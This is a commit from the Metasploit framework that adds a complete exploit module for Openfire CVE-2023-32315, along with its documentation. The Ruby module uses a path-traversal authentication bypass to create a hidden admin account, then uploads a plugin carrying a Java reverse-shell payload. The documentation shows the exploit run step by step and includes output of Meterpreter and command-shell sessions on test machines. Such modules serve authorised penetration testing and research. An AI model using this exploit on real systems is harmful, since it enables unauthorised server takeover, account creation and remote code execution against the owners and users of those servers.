Land #18173, Add Openfire Authentication Bypass RCE [CVE-2023-32315]
Merge branch 'land-18173' into upstream-master
This commit is contained in:
Executable
+69
@@ -0,0 +1,69 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin changelog</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add changelog content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1.5 KiB |
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1021 B |
Executable
+10
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<plugin>
|
||||
<class>com.example.openfire.plugin.Example</class>
|
||||
<name>PLUGINNAME</name>
|
||||
<description>PLUGINDESCRIPTION</description>
|
||||
<author>PLUGINAUTHOR</author>
|
||||
<version>1.0.0</version>
|
||||
<date>7/7/2008</date>
|
||||
<minServerVersion>3.5.0</minServerVersion>
|
||||
</plugin>
|
||||
Executable
+69
@@ -0,0 +1,69 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin readme</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add readme content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,190 @@
|
||||
## Vulnerable Application
|
||||
`Openfire's` administrative console, a web-based application, was found to be vulnerable to a path traversal attack
|
||||
via the setup environment using the path `http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/`.
|
||||
Endpoints such as `log.jsp`, `user-groups.jsp` and `user-create.jsp` can be used to gain unauthorized admin access.
|
||||
It allows an unauthenticated user to use the unauthenticated `Openfire` Setup Environment in an already configured
|
||||
`Openfire` environment to access restricted pages in the `Openfire Admin Console` reserved for administrative users.
|
||||
|
||||
This module will use the vulnerability to create a new admin user that will be used to upload a `Openfire` management plugin
|
||||
weaponized with a `Java` native payload that triggers an RCE.
|
||||
The vulnerability affects all versions of `Openfire` that have been released since April 2015, starting with version `3.10.0`.
|
||||
The problem has been patched in `Openfire` release `4.7.5` and `4.6.8`, and further improvements will be included
|
||||
in the first version on the `4.8` branch, which is version `4.8.0`.
|
||||
|
||||
This module has been tested on:
|
||||
- [ ] Ubuntu Linux 22.04.
|
||||
* Openfire 3.10.1, 4.0.4, 4.1.0, 4.2.0, 4.3.0, 4.4.0, 4.5.0, 4.6.0. 4.7.0, 4.7.1, 4.7.3
|
||||
* Java 7, 8, 17
|
||||
- [ ] Windows Server 2019 Datacenter
|
||||
* Openfire 4.7.3
|
||||
* Java 20
|
||||
|
||||
**Instructions for an Openfire installation:**
|
||||
Download Openfire releases [here](https://github.com/igniterealtime/Openfire/releases?page=1)
|
||||
Follow installation instructions [here](https://download.igniterealtime.org/openfire/docs/latest/documentation/install-guide.html)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set target <0=Java Universal>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > options
|
||||
|
||||
Module options (exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ADMINNAME no Openfire admin user name, (default: random)
|
||||
PLUGINAUTHOR no Openfire plugin author, (default: random)
|
||||
PLUGINDESC no Openfire plugin description, (default: random)
|
||||
PLUGINNAME no Openfire plugin base name, (default: random)
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 9090 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to the web application
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (java/shell/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Java Universal
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
The uripath to the `Openfire Admin Console`. Default set to `/` which is the standard for `Openfire`.
|
||||
|
||||
### ADMINNAME
|
||||
`Openfire` admin user name option to create a new admin user. User name will be randomized if not set.
|
||||
|
||||
### PLUGINAUTHOR
|
||||
`Openfire` plugin author to set the name of the plugin author. Author name will be randomized if not set.
|
||||
|
||||
### PLUGINDESC
|
||||
`Openfire` plugin description to update the description of the plugin. Description will be randomized if not set.
|
||||
|
||||
### PLUGINNAME
|
||||
`Openfire` plugin name to set the plugin name. Plugin name will be randomized if not set.
|
||||
|
||||
## Scenarios
|
||||
### Ubuntu 22.04 - Openfire 4.7.0 - java/meterpreter/reverse_tcp
|
||||
```
|
||||
msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Openfire version is 4.7.0
|
||||
[*] Grabbing the cookies.
|
||||
[*] JSESSIONID=node010hllcuuhb19x13etracg8jjxk24.node0
|
||||
[*] csrf=Lc9ZXFTo6H3bnC1
|
||||
[*] Adding a new admin user.
|
||||
[*] Logging in with admin user "jdajefap" and password "W3EozCK8Nx".
|
||||
[*] Upload and execute plugin "U6zVD3dY" with payload "java/meterpreter/reverse_tcp".
|
||||
[*] Sending stage (58851 bytes) to 192.168.201.59
|
||||
[*] Meterpreter session 33 opened (192.168.201.10:4444 -> 192.168.201.59:60420) at 2023-07-08 10:33:16 +0000
|
||||
[!] Plugin "U6zVD3dY" need manually clean-up via Openfire Admin console.
|
||||
[!] Admin user "jdajefap" need manually clean-up via Openfire Admin console.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: openfire
|
||||
meterpreter > sysinfo
|
||||
Computer : cuckoo
|
||||
OS : Linux 5.15.0-76-generic (amd64)
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : java/linux
|
||||
meterpreter >
|
||||
```
|
||||
### Windows Server 2019 Datacenter - Openfire 4.7.3 - java/shell/reverse_tcp
|
||||
```
|
||||
msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Openfire version is 4.7.4
|
||||
[*] Grabbing the cookies.
|
||||
[*] JSESSIONID=node01dr68xhv8giop14zogvh0ycnt13.node0
|
||||
[*] csrf=mRz62R9hab6YAgt
|
||||
[*] Adding a new admin user.
|
||||
[*] Logging in with admin user "qkcvdmmevuvw" and password "tO0gWgDrM4".
|
||||
[*] Upload and execute plugin "XZl3TKb1ayogynR" with payload "java/shell/reverse_tcp".
|
||||
[*] Sending stage (2952 bytes) to 192.168.201.57
|
||||
[!] Plugin "XZl3TKb1ayogynR" need manually clean-up via Openfire Admin console.
|
||||
[!] Admin user "qkcvdmmevuvw" need manually clean-up via Openfire Admin console.
|
||||
[*] Command shell session 32 opened (192.168.201.10:4444 -> 192.168.201.57:50171) at 2023-07-08 10:31:01 +0000
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows [Version 10.0.17763.107]
|
||||
-----
|
||||
|
||||
|
||||
C:\Program Files\Openfire\bin>systeminfo
|
||||
systeminfo
|
||||
|
||||
Host Name: WIN-HHRQENPDSRS
|
||||
OS Name: Microsoft Windows Server 2019 Datacenter
|
||||
OS Version: 10.0.17763 N/A Build 17763
|
||||
OS Manufacturer: Microsoft Corporation
|
||||
OS Configuration: Standalone Server
|
||||
OS Build Type: Multiprocessor Free
|
||||
Registered Owner: Windows User
|
||||
Registered Organization:
|
||||
Product ID: 00430-00000-00000-AA500
|
||||
Original Install Date: 1/23/2023, 4:51:06 AM
|
||||
System Boot Time: 7/8/2023, 2:16:23 AM
|
||||
System Manufacturer: innotek GmbH
|
||||
System Model: VirtualBox
|
||||
System Type: x64-based PC
|
||||
Processor(s): 1 Processor(s) Installed.
|
||||
[01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2306 Mhz
|
||||
BIOS Version: innotek GmbH VirtualBox, 12/1/2006
|
||||
Windows Directory: C:\Windows
|
||||
System Directory: C:\Windows\system32
|
||||
Boot Device: \Device\HarddiskVolume1
|
||||
System Locale: en-us;English (United States)
|
||||
Input Locale: en-us;English (United States)
|
||||
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
|
||||
Total Physical Memory: 2,048 MB
|
||||
Available Physical Memory: 728 MB
|
||||
Virtual Memory: Max Size: 3,469 MB
|
||||
Virtual Memory: Available: 1,523 MB
|
||||
Virtual Memory: In Use: 1,946 MB
|
||||
Page File Location(s): C:\pagefile.sys
|
||||
Domain: WORKGROUP
|
||||
Logon Server: N/A
|
||||
Hotfix(s): 1 Hotfix(s) Installed.
|
||||
[01]: KB4464455
|
||||
Network Card(s): 1 NIC(s) Installed.
|
||||
[01]: Intel(R) PRO/1000 MT Desktop Adapter
|
||||
Connection Name: Ethernet
|
||||
DHCP Enabled: Yes
|
||||
DHCP Server: 192.168.201.1
|
||||
IP address(es)
|
||||
[01]: 192.168.201.57
|
||||
[02]: fe80::b089:6587:7273:231e
|
||||
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
|
||||
|
||||
C:\Program Files\Openfire\bin>
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations.
|
||||
@@ -141,12 +141,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
]
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
jar.add_files(files, File.join(Msf::Config.data_directory, "exploits", "CVE-2008-6508"))
|
||||
jar.add_files(files, File.join(Msf::Config.data_directory, "exploits", "openfire_plugin"))
|
||||
|
||||
plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
|
||||
plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8))
|
||||
|
||||
plugin_xml = File.open(File.join(Msf::Config.data_directory, "exploits", "CVE-2008-6508", "plugin.xml"), "rb") {|fd| fd.read() }
|
||||
plugin_xml = File.open(File.join(Msf::Config.data_directory, "exploits", "openfire_plugin", "plugin.xml"), "rb") {|fd| fd.read() }
|
||||
plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
|
||||
plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
|
||||
plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)
|
||||
|
||||
@@ -0,0 +1,277 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/zip'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Openfire authentication bypass with RCE plugin',
|
||||
'Description' => %q{
|
||||
Openfire is an XMPP server licensed under the Open Source Apache License.
|
||||
Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack
|
||||
via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment
|
||||
in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for
|
||||
administrative users.
|
||||
This module will use the vulnerability to create a new admin user that will be used to upload a Openfire management plugin
|
||||
weaponised with java native payload that triggers an RCE.
|
||||
This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0.
|
||||
The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the
|
||||
first version on the 4.8 branch, which is version 4.8.0.
|
||||
},
|
||||
'Author' => [
|
||||
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2023-32315'],
|
||||
['URL', 'https://attackerkb.com/topics/7Tf5YGY3oT/cve-2023-32315'],
|
||||
['URL', 'https://github.com/miko550/CVE-2023-32315'],
|
||||
['URL', 'https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => [ 'java' ],
|
||||
'Privileged' => false,
|
||||
'Arch' => [ ARCH_JAVA ],
|
||||
'Targets' => [
|
||||
[
|
||||
'Java Universal',
|
||||
{
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'java/shell/reverse_tcp'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2023-05-26',
|
||||
'DefaultOptions' => {
|
||||
'SSL' => false,
|
||||
'RPORT' => 9090
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
|
||||
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]),
|
||||
OptString.new('PLUGINAUTHOR', [ false, 'Openfire plugin author, (default: random)' ]),
|
||||
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]),
|
||||
OptString.new('ADMINNAME', [ false, 'Openfire admin user name, (default: random)' ]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def get_version
|
||||
# get Openfire version number from the admin console login page
|
||||
openfire_version = nil
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
|
||||
'ctype' => 'application/x-www-form-urlencoded'
|
||||
})
|
||||
if res && res.code == 200
|
||||
version = res.body.match(/Openfire,\s*\D*:\s*\d\.\d{1,2}\.\d/)
|
||||
openfire_version = Rex::Version.new(version[0].split(':')[1].strip) unless version.nil?
|
||||
end
|
||||
|
||||
openfire_version
|
||||
end
|
||||
|
||||
def auth_bypass
|
||||
# bypass authentication using path traversal vulnerability and return true if cookie_jar is filled (JSESSION-ID and CSRF) else return false.
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'setup', 'setup-s', '%u002e%u002e/%u002e%u002e/user-groups.jsp'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'keep_cookies' => true
|
||||
})
|
||||
return false if cookie_jar.cookies.empty?
|
||||
|
||||
cookie_jar.cookies.each do |cookie|
|
||||
print_status(cookie.to_s)
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
def add_admin_user
|
||||
# add an admin user using path traversal vulnerability using the cookies retrieved from authentication bypass.
|
||||
# returns admin login hash with random generated username and password
|
||||
@admin_login = {}
|
||||
username = datastore['ADMINNAME'] || Rex::Text.rand_text_alpha_lower(8..15)
|
||||
password = Rex::Text.rand_password(8..10)
|
||||
cookie_jar.cookies.each do |cookie|
|
||||
@csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil?
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'setup', 'setup-s', '%u002e%u002e/%u002e%u002e/user-create.jsp'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'keep_cookies' => true,
|
||||
'vars_get' => {
|
||||
'csrf' => @csrf_token.to_s,
|
||||
'username' => username.to_s,
|
||||
'password' => password.to_s,
|
||||
'passwordConfirm' => password.to_s,
|
||||
'isadmin' => 'on',
|
||||
'create' => 'Create+User'
|
||||
}
|
||||
})
|
||||
# path traversal throws a java exception error 500 and/or returns a 200 OK code not matter if the user is added or not,
|
||||
# so we have to check during the login of the new admin user if we have been successful here
|
||||
if res && res.code == 200 || res.code == 500
|
||||
@admin_login['username'] = username
|
||||
@admin_login['password'] = password
|
||||
end
|
||||
return @admin_login
|
||||
end
|
||||
|
||||
def login_admin_user
|
||||
# login using admin hash with admin username and password
|
||||
# returns true if login successful else returns false
|
||||
cookie_jar.cookies.each do |cookie|
|
||||
@csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil?
|
||||
end
|
||||
|
||||
res = send_request_cgi!({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'url' => '%2Findex.jsp',
|
||||
'login' => 'true',
|
||||
'csrf' => @csrf_token.to_s,
|
||||
'username' => @admin_login['username'].to_s,
|
||||
'password' => @admin_login['password'].to_s
|
||||
}
|
||||
})
|
||||
if res && res.code == 200 && res.body.match(/login box/).nil?
|
||||
store_valid_credential(user: @admin_login['username'], private: @admin_login['password'], proof: cookie_jar.cookies)
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def prepare_plugin_jar
|
||||
# prepares the plugin foundation that will host the payload
|
||||
files = [
|
||||
[ 'logo_large.gif' ],
|
||||
[ 'logo_small.gif' ],
|
||||
[ 'readme.html' ],
|
||||
[ 'changelog.html' ],
|
||||
[ 'lib', 'plugin-metasploit.jar' ]
|
||||
]
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
jar.add_files(files, File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin'))
|
||||
|
||||
@plugin_name = datastore['PLUGINNAME'] || Rex::Text.rand_text_alphanumeric(8..15)
|
||||
plugin_author = datastore['PLUGINAUTHOR'] || Rex::Text.rand_text_alphanumeric(8..15)
|
||||
plugin_desc = datastore['PLUGINDESC'] || Rex::Text.rand_text_alphanumeric(8..15)
|
||||
|
||||
plugin_xml = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin', 'plugin.xml'))
|
||||
plugin_xml.gsub!(/PLUGINNAME/, @plugin_name)
|
||||
plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
|
||||
plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)
|
||||
|
||||
jar.add_file('plugin.xml', plugin_xml)
|
||||
return jar
|
||||
end
|
||||
|
||||
def upload_and_execute_plugin(plugin_jar)
|
||||
# upload and execute Openfire plugin with encoded payload
|
||||
# returns true if upload is successful else returns false
|
||||
|
||||
# construct multipart form data
|
||||
form_data = Rex::MIME::Message.new
|
||||
form_data.add_part(plugin_jar.to_s, 'application/x-java-archive', 'binary', "form-data; name=\"uploadfile\"; filename=\"#{@plugin_name}.jar\"")
|
||||
|
||||
# extract the csrf token
|
||||
cookie_jar.cookies.each do |cookie|
|
||||
@csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil?
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'plugin-admin.jsp'),
|
||||
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
|
||||
'keep_cookies' => true,
|
||||
'data' => form_data.to_s,
|
||||
'vars_get' => {
|
||||
'uploadplugin' => nil,
|
||||
'csrf' => @csrf_token.to_s
|
||||
}
|
||||
})
|
||||
# with a successfull upload and execution of the plugin, no response is returned.
|
||||
return true unless res
|
||||
# safety check if, for whatever reason, we get a 302 response back
|
||||
if res.code == 302 && res.headers.to_s.match(/uploadsuccess=true/)
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
openfire_version = get_version
|
||||
return CheckCode::Safe if openfire_version.nil?
|
||||
# check first for patched versions
|
||||
return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.6.8')
|
||||
return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.7.5')
|
||||
return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.8.0')
|
||||
|
||||
if openfire_version < Rex::Version.new('4.8.0') && openfire_version >= Rex::Version.new('3.10.0')
|
||||
CheckCode::Appears("Openfire version is #{openfire_version}")
|
||||
else
|
||||
CheckCode::Safe("Openfire version is #{openfire_version}")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
# gain access exploiting path traversal vulnerability
|
||||
print_status('Grabbing the cookies.')
|
||||
fail_with(Failure::NoAccess, 'Authentication bypass is not successful.') unless auth_bypass
|
||||
|
||||
# add a new admin user
|
||||
print_status('Adding a new admin user.')
|
||||
fail_with(Failure::NoAccess, 'Adding a new admin user is not successful.') if add_admin_user.empty?
|
||||
|
||||
# login with new admin account
|
||||
print_status("Logging in with admin user \"#{@admin_login['username']}\" and password \"#{@admin_login['password']}\".")
|
||||
fail_with(Failure::NoAccess, 'Login is not successful.') unless login_admin_user
|
||||
|
||||
# prepare Openfire plugin with payload
|
||||
plugin = prepare_plugin_jar
|
||||
plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
|
||||
plugin.build_manifest
|
||||
|
||||
# upload and execute Openfire plugin with payload
|
||||
print_status("Upload and execute plugin \"#{@plugin_name}\" with payload \"#{datastore['PAYLOAD']}\".")
|
||||
fail_with(Failure::PayloadFailed, 'Upload and/or execution of the plugin is not successful.') unless upload_and_execute_plugin(plugin.pack)
|
||||
|
||||
# cover our tracks!!!
|
||||
# remove plugin and newly added admin user
|
||||
# Automatic removal of plugin and admin user might cause instability in the application,
|
||||
# so remove it manually in Openfire Management console after the exploit is completed.
|
||||
print_warning("Plugin \"#{@plugin_name}\" need manually clean-up via Openfire Admin console.")
|
||||
print_warning("Admin user \"#{@admin_login['username']}\" need manually clean-up via Openfire Admin console.")
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user